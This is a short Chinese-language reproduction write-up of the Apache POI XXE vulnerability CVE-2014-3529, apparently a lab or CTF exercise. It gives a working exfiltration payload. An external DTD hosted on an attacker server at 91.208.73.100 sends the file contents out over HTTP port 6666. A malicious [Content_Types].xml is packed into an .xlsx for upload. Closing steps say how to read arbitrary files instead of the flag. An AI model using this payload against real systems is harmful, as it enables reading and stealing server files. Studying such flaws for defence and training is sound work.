Apache POI 3.10.1外部实体漏洞（CVE-2014-3529）

一、漏洞概述

Apache POI 3.10.1 之前的 OPC SAX 设置允许远程攻击者通过 OpenXML 文件读取任意文件，该文件包含与 XML 外部实体 (XXE) 问题相关的 XML 外部实体声明和实体引用。

二、影响范围

Apache POI < 3.10.1

三、访问页面

四、漏洞复现

1、准备一台vps服务器IP为91.208.73.100，上传xxe.dtd到服务器上。

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://91.208.73.100:6666/%file;'>">
%all;

2、开启临时http服务，端口和xxe.dtd对应上。

python3 -m http.server 6666

3、制作payload，[Content_Types].xlsx

首先，制作[Content_Types].xml

<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///flag"> 
<!ENTITY % dtd SYSTEM "http://91.208.73.100:6666/xxe.dtd">
%dtd; %send;]>

然后到[Content_Types].xml进行压缩为zip文件，得到[Content_Types].zip

最后是重命令[Content_Types].zip为[Content_Types].xlsx

4、在页面上传[Content_Types].xlsx

5、上传成功，复制5dc1729d-2398-47ac-b17d-faa106807356.xlsx这部分内容。

6、解析excel

7、查看vps服务器回显获得flag。

五、漏洞利用

1、修改[Content_Types].xml中的file:///flag达到任意文件读取。